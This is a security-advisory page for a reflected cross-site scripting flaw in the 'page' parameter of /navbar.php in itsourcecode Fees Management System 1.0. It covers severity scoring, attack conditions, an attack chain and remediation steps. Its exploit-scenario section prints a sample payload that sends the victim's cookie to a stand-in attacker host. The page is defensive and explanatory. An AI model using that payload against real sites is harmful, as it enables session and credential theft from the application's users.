Skip to main content

Fees Management System EUVDEUVD-2026-34261

| CVE-2026-10810 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-04 VulDB GHSA-gx9q-vg44-8c2c
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify public Fees Management System instance
  2. Delivery
    Craft malicious URL with XSS payload in 'page' parameter
  3. Exploit
    Deliver crafted link to target via phishing
  4. Execution
    Victim clicks link while authenticated
  5. Persist
    Injected script executes in victim browser
  6. Impact
    Attacker harvests session token or performs action as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must be induced to click a specially crafted URL - exploitation is not possible without this user interaction (UI:R in CVSS vector), which limits automated or worm-style attacks. No authentication is required from the attacker (PR:N), meaning any unauthenticated remote party can construct the malicious URL. The specific vulnerable condition is the unsanitized reflection of the 'page' parameter in /navbar.php - this file and parameter must be accessible and reachable over the network. Exploitation impact is restricted to script injection in the victim's browser session within the application's origin (S:U, scope unchanged), so the attacker cannot directly pivot to the server or other origins. Higher-value attacks (session hijacking, credential theft) require the victim to be authenticated at the time of click, which is not guaranteed but is the realistic target scenario for an educational institution's administrative interface.

Impact

The CVSS base score of 4.3 (Medium) reflects a network-accessible (AV:N), low-complexity (AC:L), unauthenticated (PR:N) attack that nonetheless requires user interaction (UI:R) and has limited impact (I:L integrity only, S:U scope unchanged, no confidentiality or availability impact). The temporal modifier E:P confirms public POC code exists, modestly elevating real-world exploitability above the base score. No KEV listing means active exploitation has not been confirmed by CISA. EPSS data was not provided in the source intelligence, so precise exploitation probability cannot be quantified. The realistic threat model is a targeted phishing scenario rather than automated mass exploitation - the UI:R requirement prevents drive-by or autonomous scanning. This is a genuine medium-severity finding for any school or institution running this software publicly, but the limited scope (no session hijacking guaranteed without additional attack steps, integrity-only impact) means it does not represent a critical priority compared to authentication bypass or RCE vulnerabilities on the same system. The absence of a vendor patch (RL:X) is a notable risk amplifier.

Exploit ScenarioDerived

An attacker identifies a school or institution running the itsourcecode Fees Management System publicly, crafts a URL embedding a JavaScript payload in the 'page' parameter targeting /navbar.php (e.g., /navbar.php?page=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>), and delivers this link to a logged-in administrator or staff member via phishing email. When the victim clicks the link and their browser renders the unencoded parameter, the injected script executes in the context of the application's origin. A publicly available POC (referenced at the GitHub issue in the advisory) confirms this attack path is already documented.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 04, 2026

Reflected cross-site scripting in itsourcecode Fees Management System 1.0 allows remote unauthenticated attackers to inject arbitrary JavaScript into a victim's browser session by manipulating the 'page' parameter in /navbar.php. The attack requires user interaction - a victim must follow a crafted URL - limiting mass exploitation, but publicly available exploit code (referenced via a GitHub issue) lowers the barrier for targeted phishing campaigns. No CISA KEV listing; EPSS data was not provided, though the combination of no authentication requirement and public POC warrants prompt attention for exposed deployments.

RemediationAI

No vendor-released patch has been identified at time of analysis; the CVSS remediation level RL:X (Not Defined) corroborates the absence of an official fix. Until a patch is released, the following specific compensating controls apply: (1) Disable or restrict public internet access to the Fees Management System - placing it behind a VPN or IP allowlist removes the network-accessible attack surface entirely, though this may disrupt remote access workflows. (2) Deploy a Web Application Firewall (WAF) rule that blocks or sanitizes reflected XSS patterns in the 'page' parameter on requests to /navbar.php - this is effective but may generate false positives if legitimate page names contain special characters. (3) If source code access is available, apply output encoding on the 'page' parameter in /navbar.php using PHP's htmlspecialchars($page, ENT_QUOTES, 'UTF-8') before rendering - this is the most targeted fix with no expected side effects. (4) Implement a Content Security Policy (CSP) header with script-src 'self' to reduce the impact of any successful injection. Monitor VulDB entry https://vuldb.com/cve/CVE-2026-10810 for patch availability.

Affected VersionsENISA

Fees Management System 1.0

Affected Packages

euvd fees_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected product is a PHP-based web application (cpe:2.3:a:itsourcecode:fees_management_system:*:*:*:*:*:*:*:*) designed for academic fee management, distributed by itsourcecode.com. The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a failure to sanitize or encode the 'page' GET/POST parameter before it is reflected into the HTML output of /navbar.php. In PHP applications, this pattern typically arises when user-supplied input is echoed directly into the DOM without htmlspecialchars() or equivalent output encoding, allowing an attacker to inject script tags or event handlers. The CVSS temporal component E:P (Proof-of-Concept) and RC:R (Reasonable confidence) in the supplied vector confirm exploit availability and reasonable confidence in the vulnerability's existence, while RL:X (Remediation Level: Not Defined) indicates no official fix has been published.

Know when Fees Management System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 04, 2026 - 14:22 NVD
MEDIUM LOW
CVSS changed
Jun 04, 2026 - 14:22 NVD
4.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A weakness has been identified in itsourcecode Fees Management System up to 1.0. Affected is an unknown function of the file /navbar.php. This manipulation of the argument page causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy